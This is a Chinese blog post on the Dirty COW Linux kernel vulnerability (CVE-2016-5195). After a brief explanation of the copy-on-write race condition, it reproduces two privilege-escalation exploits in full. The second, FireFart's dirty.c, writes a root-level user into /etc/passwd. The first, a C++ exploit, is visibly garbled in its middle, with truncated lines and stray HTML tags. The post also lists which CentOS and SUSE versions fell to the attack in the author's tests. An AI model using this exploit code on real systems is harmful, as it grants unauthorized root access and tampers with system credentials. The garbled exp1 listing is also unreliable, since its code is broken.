dirty cow脏牛漏洞提权
一、脏牛漏洞描述
1漏洞编号:CVE-2016-5195
2漏洞名称:脏牛(Dirty COW)
3漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权
4影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复
二、漏洞利用原理
该漏洞具体为,Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。(A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.)
竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。
三、漏洞测试
github Pocs页面为:https://github.com/gbonacini/CVE-2016-5195
经测试上面提供的exp代码可用,这里使用其中两段测试代码 exp1:
1
2#include <iostream>
3#include <fstream>
4#include <string>
5#include <thread>
6#include <sys>
7#include <fcntl.h>
8#include <unistd.h>
9#include <stdlib.h>
10#include <sys>
11#include <pwd.h>
12#include <pty.h>
13#include <string.h>
14#include <termios.h>
15#include <sys>
16#include <signal.h>
17
18#define BUFFSIZE 1024
19#define DEFSLTIME 300000
20#define PWDFILE "/etc/passwd"
21#define BAKFILE "./.ssh_bak"
22#define TMPBAKFILE "/tmp/.ssh_bak"
23#define PSM "/proc/self/mem"
24#define ROOTID "root:"
25#define SSHDID "sshd:"
26#define MAXITER 300
27#define DEFPWD "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/"
28#define TXTPWD "dirtyCowFun\n"
29#define DISABLEWB "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n"
30#define EXITCMD "exit\n"
31#define CPCMD "\\cp "
32#define RMCMD "\\rm "
33
34using namespace std;
35
36class Dcow{
37 private:
38 bool run, rawMode, opShell, restPwd;
39 void *map;
40 int fd, iter, master, wstat;
41 string buffer, etcPwd, etcPwdBak,
42 root, user, pwd, sshd;
43 thread *writerThr, *madviseThr, *checkerThr;
44 ifstream *extPwd;
45 ofstream *extPwdBak;
46 struct passwd *userId;
47 pid_t child;
48 char buffv[BUFFSIZE];
49 fd_set rfds;
50 struct termios termOld, termNew;
51 ssize_t ign;
52
53 void exitOnError(string msg);
54 public:
55 Dcow(bool opSh, bool rstPwd);
56 ~Dcow(void);
57 int expl(void);
58};
59
60Dcow::Dcow(bool opSh, bool rstPwd) : run(true), rawMode(false), opShell(opSh), restPwd(rstPwd),
61 iter(0), wstat(0), root(ROOTID), pwd(DEFPWD), sshd(SSHDID), writerThr(nullptr),
62 madviseThr(nullptr), checkerThr(nullptr), extPwd(nullptr), extPwdBak(nullptr),
63 child(0){
64 userId = getpwuid(getuid());
65 user.append(userId->pw_name).append(":");
66 extPwd = new ifstream(PWDFILE);
67 while (getline(*extPwd, buffer)){
68 buffer.append("\n");
69 etcPwdBak.append(buffer);
70 if(buffer.find(root) == 0){
71 etcPwd.insert(0, root).insert(root.size(), pwd);
72 etcPwd.insert(etcPwd.begin() + root.size() + pwd.size(),
73 buffer.begin() + buffer.find(":", root.size()), buffer.end());
74 }else if(buffer.find(user) == 0 || buffer.find(sshd) == 0 ){
75 etcPwd.insert(0, buffer);
76 }else{
77 etcPwd.append(buffer);
78 }
79 }
80 extPwdBak = new ofstream(restPwd ? TMPBAKFILE : BAKFILE);
81 extPwdBak->write(etcPwdBak.c_str(), etcPwdBak.size());
82 extPwdBak->close();
83 fd = open(PWDFILE,O_RDONLY);
84 map = mmap(nullptr, etcPwdBak.size(), PROT_READ,MAP_PRIVATE, fd, 0);
85}
86
87Dcow::~Dcow(void){
88 extPwd->close();
89 close(fd);
90 delete extPwd; delete extPwdBak; delete madviseThr; delete writerThr; delete checkerThr;
91 if(rawMode) tcsetattr(STDIN_FILENO, TCSANOW, &termOld);
92 if(child != 0) wait(&wstat);
93}
94
95void Dcow::exitOnError(string msg){
96 cerr (map), SEEK_SET);
97 ign = write(fpsm, etcPwd.c_str(), etcPwdBak.size()); }
98 });
99 checkerThr = new thread([&](){ while(iter clear(); extPwd->seekg(0, ios::beg);
100 buffer.assign(istreambuf_iterator<char>(*extPwd),
101 istreambuf_iterator<char>());
102 if(buffer.find(pwd) != string::npos &&
103 buffer.size() >= etcPwdBak.size()){
104 run = false; break;
105 }
106 iter ++; usleep(DEFSLTIME);
107 }
108 run = false;
109 });
110
111 cerr join();
112 writerThr->join();
113 checkerThr->join();
114
115 if(iter (~(ICANON | ECHO));
116
117 if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1)
118 exitOnError("Error setting terminal in non-canonical mode.");
119 rawMode = true;
120
121 while(true){
122 FD_ZERO(&rfds);
123 FD_SET(master, &rfds);
124 FD_SET(STDIN_FILENO, &rfds);
125
126 if(select(master + 1, &rfds, nullptr, nullptr, nullptr) </char></char></signal.h></sys></termios.h></string.h></pty.h></pwd.h></sys></stdlib.h></unistd.h></fcntl.h></sys></thread></string></fstream></iostream>
测试结果如下:
exp2:
1// This exploit uses the pokemon exploit of the dirtycow vulnerability
2// as a base and automatically generates a new passwd line.
3// The user will be prompted for the new password when the binary is run.
4// The original /etc/passwd file is then backed up to /tmp/passwd.bak
5// and overwrites the root account with the generated line.
6// After running the exploit you should be able to login with the newly
7// created user.
8//
9// To use this exploit modify the user values according to your needs.
10// The default is "firefart".
11//
12// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
13// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
14//
15// Compile with:
16// gcc -pthread dirty.c -o dirty -lcrypt
17//
18// Then run the newly create binary by either doing:
19// "./dirty" or "./dirty my-new-password"
20//
21// Afterwards, you can either "su firefart" or "ssh firefart@..."
22//
23// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
24// mv /tmp/passwd.bak /etc/passwd
25//
26// Exploit adopted by Christian "FireFart" Mehlmauer
27// https://firefart.at
28//
29#include <fcntl.h>
30#include <pthread.h>
31#include <string.h>
32#include <stdio.h>
33#include <stdint.h>
34#include <sys/mman.h>
35#include <sys/types.h>
36#include <sys/stat.h>
37#include <sys/wait.h>
38#include <sys/ptrace.h>
39#include <stdlib.h>
40#include <unistd.h>
41#include <crypt.h>
42const char *filename = "/etc/passwd";
43const char *backup_filename = "/tmp/passwd.bak";
44const char *salt = "firefart";
45int f;
46void *map;
47pid_t pid;
48pthread_t pth;
49struct stat st;
50struct Userinfo {
51 char *username;
52 char *hash;
53 int user_id;
54 int group_id;
55 char *info;
56 char *home_dir;
57 char *shell;
58};
59char *generate_password_hash(char *plaintext_pw) {
60 return crypt(plaintext_pw, salt);
61}
62char *generate_passwd_line(struct Userinfo u) {
63 const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
64 int size = snprintf(NULL, 0, format, u.username, u.hash,
65 u.user_id, u.group_id, u.info, u.home_dir, u.shell);
66 char *ret = malloc(size + 1);
67 sprintf(ret, format, u.username, u.hash, u.user_id,
68 u.group_id, u.info, u.home_dir, u.shell);
69 return ret;
70}
71void *madviseThread(void *arg) {
72 int i, c = 0;
73 for(i = 0; i < 200000000; i++) {
74 c += madvise(map, 100, MADV_DONTNEED);
75 }
76 printf("madvise %d\n\n", c);
77}
78int copy_file(const char *from, const char *to) {
79 // check if target file already exists
80 if(access(to, F_OK) != -1) {
81 printf("File %s already exists! Please delete it and run again\n",
82 to);
83 return -1;
84 }
85 char ch;
86 FILE *source, *target;
87 source = fopen(from, "r");
88 if(source == NULL) {
89 return -1;
90 }
91 target = fopen(to, "w");
92 if(target == NULL) {
93 fclose(source);
94 return -1;
95 }
96 while((ch = fgetc(source)) != EOF) {
97 fputc(ch, target);
98 }
99 printf("%s successfully backed up to %s\n",
100 from, to);
101 fclose(source);
102 fclose(target);
103 return 0;
104}
105int main(int argc, char *argv[])
106{
107 // backup file
108 int ret = copy_file(filename, backup_filename);
109 if (ret != 0) {
110 exit(ret);
111 }
112 struct Userinfo user;
113 // set values, change as needed
114 user.username = "firefart";
115 user.user_id = 0;
116 user.group_id = 0;
117 user.info = "pwned";
118 user.home_dir = "/root";
119 user.shell = "/bin/bash";
120 char *plaintext_pw;
121 if (argc >= 2) {
122 plaintext_pw = argv[1];
123 printf("Please enter the new password: %s\n", plaintext_pw);
124 } else {
125 plaintext_pw = getpass("Please enter the new password: ");
126 }
127 user.hash = generate_password_hash(plaintext_pw);
128 char *complete_passwd_line = generate_passwd_line(user);
129 printf("Complete line:\n%s\n", complete_passwd_line);
130 f = open(filename, O_RDONLY);
131 fstat(f, &st);
132 map = mmap(NULL,
133 st.st_size + sizeof(long),
134 PROT_READ,
135 MAP_PRIVATE,
136 f,
137 0);
138 printf("mmap: %lx\n",(unsigned long)map);
139 pid = fork();
140 if(pid) {
141 waitpid(pid, NULL, 0);
142 int u, i, o, c = 0;
143 int l=strlen(complete_passwd_line);
144 for(i = 0; i < 10000/l; i++) {
145 for(o = 0; o < l; o++) {
146 for(u = 0; u < 10000; u++) {
147 c += ptrace(PTRACE_POKETEXT,
148 pid,
149 map + o,
150 *((long*)(complete_passwd_line + o)));
151 }
152 }
153 }
154 printf("ptrace %d\n",c);
155 }
156 else {
157 pthread_create(&pth,
158 NULL,
159 madviseThread,
160 NULL);
161 ptrace(PTRACE_TRACEME);
162 kill(getpid(), SIGSTOP);
163 pthread_join(pth,NULL);
164 }
165 printf("Done! Check %s to see if the new user was created.\n", filename);
166 printf("You can log in with the username '%s' and the password '%s'.\n\n",
167 user.username, plaintext_pw);
168 printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
169 backup_filename, filename);
170 return 0;
171}
由于gcc版本的原因,exp1在很多版本上编译会出错,所以这里有使用了exp2进行测试,具体结果如下:
参考页面:
更详细的关于漏洞原理的部分可以参考如下页面:
https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195
根据测试结果centos7.2以下的版本基本都可以测试成功,SUSE11全部版本都可以成功。
捐赠本站(Donate)
如您感觉文章有用,可扫码捐赠本站!(If the article useful, you can scan the QR code to donate))
- Author: shisekong
- Link: https://blog.361way.com/dirty-cow/5886.html
- License: This work is under a 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议. Kindly fulfill the requirements of the aforementioned License when adapting or creating a derivative of this work.